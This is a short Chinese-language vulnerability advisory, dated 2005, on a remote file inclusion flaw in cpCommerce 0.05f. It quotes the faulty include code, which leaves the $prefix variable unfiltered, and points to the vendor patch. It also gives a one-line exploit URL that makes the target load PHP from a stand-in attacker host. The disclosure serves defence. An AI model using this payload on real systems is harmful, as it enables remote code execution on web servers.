CPCommerce远程文件包含漏洞


添加时间:
2005-10-02

系统编号:
WAVDB-00786
BUGTRAQ: 8851

影响版本:
cpCommerce 0.05f

程序介绍:

e-commerce是一款开放源代码的电子商务解决方案。

漏洞分析:

e-commerce包含的_functions.php脚本可包含远程文件,远程攻击者可以利用这个漏洞以WEB进程权限在系统上执行任意命令。
_functions.php包含如下有问题代码:
    require_once("{$prefix}_config.php");
    require_once("{$prefix}_gateways.php");
由于对$prefix变量缺少充分过滤,攻击者可以指定远程服务器上的文件作为包含文件,可导致以WEB权限执行攻击者提供的恶意PHP命令。


漏洞利用:

http://www.vulnsite.com/path_of_cpcommerce/_functions.php?prefix=http://www.attacker.com/index



解决方案:
厂商补丁:
 cpCommerce
 ----------
 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
 http://cpcommerce.org/forums/ind ... isplay;threadid=864

信息来源:
<*来源:Astharot
   链接:http://marc.theaimsgroup.com/?l=bugtraq&m=106666934715321&w=2
 *>